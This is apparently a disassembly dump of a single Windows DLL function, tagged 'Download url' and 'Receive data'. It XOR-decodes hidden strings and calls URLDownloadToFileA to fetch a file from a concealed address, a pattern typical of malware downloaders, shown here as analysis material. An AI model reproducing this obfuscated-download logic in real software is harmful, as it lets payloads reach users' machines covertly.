Function at 0x10019600
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004e339
mov eax, dword fs:[0]
push eax
sub esp, 0xc60
mov eax, dword [0x1005d500]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [ebp - 0xc5c], eax
mov byte [ebp - 0xc55], cl
mov dword [ebp - method.FileService.virtual_0], vtable.FileService.0
mov dword [ebp - 4], ecx
mov dword [ebp - method.CodeService.virtual_0], vtable.CodeService.0
mov byte [ebp - 4], 1
cmp dword [eax + 0xc], 7
jne 0x1001966a
mov al, 1
jmp 0x10019cc3
add eax, 0x70
mov byte [ebp - 4], 2
cmp dword [eax + 0x14], 0x10
mov dword [ebp - 0xc60], eax
jb 0x1001967f
mov eax, dword [eax]
mov edi, eax
lea esi, [ebp - 0xc1c]
call fcn.10020890
lea ecx, [ebp - 0xc00]
push ecx
mov ecx, eax
mov ebx, 0x100a1fd8
mov byte [ebp - 4], 3
call fcn.10019d00
add esp, 4
mov esi, dword [ebp - 0xc5c]
add esi, 0x8c
mov edi, eax
mov byte [ebp - 4], 4
call fcn.100029b0
mov ebx, 0x10
cmp dword [ebp - 0xbec], ebx
jb 0x100196d9
mov edx, dword [ebp - 0xc00]
push edx
call fcn.10032d80
add esp, 4
xor esi, esi
mov edi, 0xf
mov dword [ebp - 0xbec], edi
mov dword [ebp - 0xbf0], esi
mov byte [ebp - 0xc00], 0
cmp dword [ebp - 0xc08], ebx
jb 0x1001970a
mov eax, dword [ebp - 0xc1c]
push eax
call fcn.10032d80
add esp, 4
mov dword [ebp - 0xc24], edi
mov dword [ebp - 0xc28], esi
mov byte [ebp - 0xc38], 0
mov dword [ebp - 0xc10], esi
mov dword [ebp - 0xc0c], esi
mov dword [ebp - 0xc08], esi
mov ecx, dword [ebp - 0xc60]
push 0xffffffffffffffff
push esi
push ecx
lea ecx, [ebp - 0xc38]
mov byte [ebp - 4], 6
call fcn.10002da0
lea ecx, [ebp - 0xc38]
lea edi, [ebp - 0xc10]
call fcn.1000b440
mov dword [ebp - method.CodeService.virtual_0], vtable.CodeService.0
push 0x3ff
lea edx, [ebp - 0x413]
push 0
mov byte [ebp - 4], 7
push edx
mov byte [ebp - 0x414], 0
call fcn.10037e20
mov ecx, dword [0x10053814]
mov eax, dword [0x10053810]
mov edx, dword [0x10053818]
mov dword [ebp - 0x410], ecx
mov cx, word [0x10053820]
mov dword [ebp - 0x414], eax
mov eax, dword [0x1005381c]
mov dword [ebp - 0x40c], edx
mov dl, byte [0x10053822]
mov ebx, 0x13
add esp, 0xc
mov word [ebp - 0x404], cx
mov dword [ebp - 0x408], eax
mov byte [ebp - 0x402], dl
lea esi, [ebp - 0x414]
lea edi, [ebx - 3]
xor ecx, ecx
lea esp, [esp]
cmp ecx, ebx
jge 0x100197ff
mov eax, ecx
cdq
idiv edi
mov al, byte [ebp + ecx - 0x414]
sub al, cl
xor al, byte [edx + 0x10053854]
inc ecx
mov byte [ecx + esi - 1], al
jmp 0x100197e0
lea eax, [ebp - 0x414]
mov dword [ebp - 0xbec], 0xf
mov dword [ebp - 0xbf0], 0
mov byte [ebp - 0xc00], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10019823
sub eax, edx
push eax
lea ecx, [ebp - 0x414]
push ecx
lea ecx, [ebp - 0xc00]
call fcn.100028b0
lea ecx, [ebp - 0xc00]
lea edi, [ebp - 0xc10]
mov byte [ebp - 4], 8
call fcn.1000b440
mov edi, 0x10
mov byte [ebp - 4], 7
cmp dword [ebp - 0xbec], edi
jb 0x10019874
mov edx, dword [ebp - 0xc00]
push edx
call fcn.10032d80
add esp, 4
mov ecx, dword [0x10053828]
mov eax, dword [0x10053824]
mov edx, dword [0x1005382c]
mov dword [ebp - 0x410], ecx
mov ecx, dword [0x10053834]
mov dword [ebp - 0x414], eax
mov eax, dword [0x10053830]
mov dword [ebp - 0x40c], edx
mov dx, word [0x10053838]
mov dword [ebp - 0x404], ecx
mov ebx, 0x16
mov dword [ebp - 0x408], eax
mov word [ebp - 0x400], dx
lea esi, [ebp - 0x414]
xor ecx, ecx
lea esp, [esp]
cmp ecx, ebx
jge 0x100198ef
mov eax, ecx
cdq
idiv edi
mov al, byte [ebp + ecx - 0x414]
sub al, cl
xor al, byte [edx + 0x10053854]
inc ecx
mov byte [ecx + esi - 1], al
jmp 0x100198d0
lea eax, [ebp - 0x414]
mov dword [ebp - 0xbec], 0xf
mov dword [ebp - 0xbf0], 0
mov byte [ebp - 0xc00], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10019913
sub eax, edx
push eax
lea ecx, [ebp - 0x414]
push ecx
lea ecx, [ebp - 0xc00]
call fcn.100028b0
lea ecx, [ebp - 0xc00]
lea edi, [ebp - 0xc10]
mov byte [ebp - 4], 9
call fcn.1000b440
mov ebx, 0x10
mov byte [ebp - 4], 7
cmp dword [ebp - 0xbec], ebx
jb 0x10019964
mov edx, dword [ebp - 0xc00]
push edx
call fcn.10032d80
add esp, 4
mov ecx, dword [0x10053840]
mov eax, dword [0x1005383c]
mov edx, dword [0x10053844]
mov dword [ebp - 0x410], ecx
mov ecx, dword [0x1005384c]
mov dword [ebp - 0x414], eax
mov eax, dword [0x10053848]
mov dword [ebp - 0x40c], edx
mov dx, word [0x10053850]
mov dword [ebp - 0x404], ecx
mov dword [ebp - 0xc60], 0x16
mov dword [ebp - 0x408], eax
mov word [ebp - 0x400], dx
lea esi, [ebp - 0x414]
mov edi, ebx
xor ecx, ecx
cmp ecx, dword [ebp - 0xc60]
jge 0x100199e5
mov eax, ecx
cdq
idiv edi
mov bl, byte [ebp + ecx - 0x414]
sub bl, cl
xor bl, byte [edx + 0x10053854]
inc ecx
mov byte [ecx + esi - 1], bl
mov ebx, edi
jmp 0x100199c0
lea eax, [ebp - 0x414]
mov dword [ebp - 0xbec], 0xf
mov dword [ebp - 0xbf0], 0
mov byte [ebp - 0xc00], 0
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10019a10
sub eax, edx
push eax
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0xc00]
call fcn.100028b0
lea ecx, [ebp - 0xc00]
lea edi, [ebp - 0xc10]
mov byte [ebp - 4], 0xa
call fcn.1000b440
mov byte [ebp - 4], 7
cmp dword [ebp - 0xbec], ebx
jb 0x10019a5c
mov ecx, dword [ebp - 0xc00]
push ecx
call fcn.10032d80
add esp, 4
lea edx, [ebp - 0xc10]
push edx
lea eax, [ebp - 0xc54]
push eax
call fcn.10018e60
add esp, 8
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0xc44], 0
jbe 0x10019b92
mov ecx, dword [ebp - 0xc38]
cmp dword [ebp - 0xc24], ebx
jae 0x10019a97
lea ecx, [ebp - 0xc38]
mov eax, dword [ebp - 0xc54]
cmp dword [ebp - 0xc40], ebx
jae 0x10019aab
lea eax, [ebp - 0xc54]
push ecx
push eax
call fcn.10049a50
add esp, 8
test eax, eax
je 0x10019b92
push 0x3e8
lea ecx, [ebp - 0xbe4]
push 0
push ecx
call fcn.10037e20
push 0x3e8
lea edx, [ebp - 0x7fc]
push 0
push edx
call fcn.10037e20
mov ecx, dword [ebp - 0xc38]
add esp, 0x18
cmp dword [ebp - 0xc24], ebx
jae 0x10019afa
lea ecx, [ebp - 0xc38]
lea edx, [ebp - 0xbe4]
mov al, byte [ecx]
mov byte [edx], al
inc ecx
inc edx
test al, al
jne 0x10019b00
lea eax, [ebp - 0xbdc]
push 0x10053a94
push eax
call fcn.10036580
add esp, 8
test eax, eax
je 0x10019b92
lea edx, [ebp - 0x414]
lea esi, [ebp - 0x7fc]
mov edi, edi
mov cl, byte [edx]
mov byte [esi], cl
inc edx
inc esi
test cl, cl
jne 0x10019b30
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10019b40
lea edi, [ebp - 0x7fc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10019b50
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x7fc]
rep movsb byte es:[edi], byte [esi]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10019b71
mov edi, dword [ebp - 0xc5c]
sub eax, edx
push eax
lea edx, [ebp - 0x7fc]
lea ecx, [edi + 0x70]
push edx
call fcn.100028b0
jmp 0x10019b98
mov edi, dword [ebp - 0xc5c]
cmp dword [edi + 0xa0], ebx
jb 0x10019ba8
mov ecx, dword [edi + 0x8c]
jmp 0x10019bae
lea ecx, [edi + 0x8c]
cmp dword [edi + 0x84], ebx
lea eax, [edi + 0x70]
jb 0x10019bbb
mov eax, dword [eax]
push 0
push 0
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x10019c26
cmp dword [edi + 0xa0], ebx
jb 0x10019bdd
mov eax, dword [edi + 0x8c]
jmp 0x10019be3
lea eax, [edi + 0x8c]
push 0
push eax
call fcn.10036edb
add esp, 8
cmp eax, 0xffffffff
je 0x10019c12
cmp dword [edi + 0xa0], ebx
jb 0x10019c03
mov eax, dword [edi + 0x8c]
jmp 0x10019c09
lea eax, [edi + 0x8c]
push eax
call fcn.10036f23
add esp, 4
push 0
push 0x10053510
lea ecx, [edi + 0x8c]
call fcn.100028b0
jmp 0x10019c2d
mov byte [ebp - 0xc55], 1
cmp dword [ebp - 0xc40], ebx
jb 0x10019c44
mov eax, dword [ebp - 0xc54]
push eax
call fcn.10032d80
add esp, 4
mov ebx, dword [ebp - 0xc10]
mov dword [ebp - 0xc40], 0xf
mov dword [ebp - 0xc44], 0
mov byte [ebp - 0xc54], 0
test ebx, ebx
je 0x10019ca5
mov edi, dword [ebp - 0xc0c]
mov esi, ebx
cmp esi, edi
je 0x10019c9c
cmp dword [esi + 0x14], 0x10
jb 0x10019c86
mov ecx, dword [esi]
push ecx
call fcn.10032d80
add esp, 4
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
add esi, 0x1c
jmp 0x10019c71
push ebx
call fcn.10032d80
add esp, 4
cmp dword [ebp - 0xc24], 0x10
jb 0x10019cbd
mov edx, dword [ebp - 0xc38]
push edx
call fcn.10032d80
add esp, 4
mov al, byte [ebp - 0xc55]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10034d1a
mov esp, ebp
pop ebp
ret 4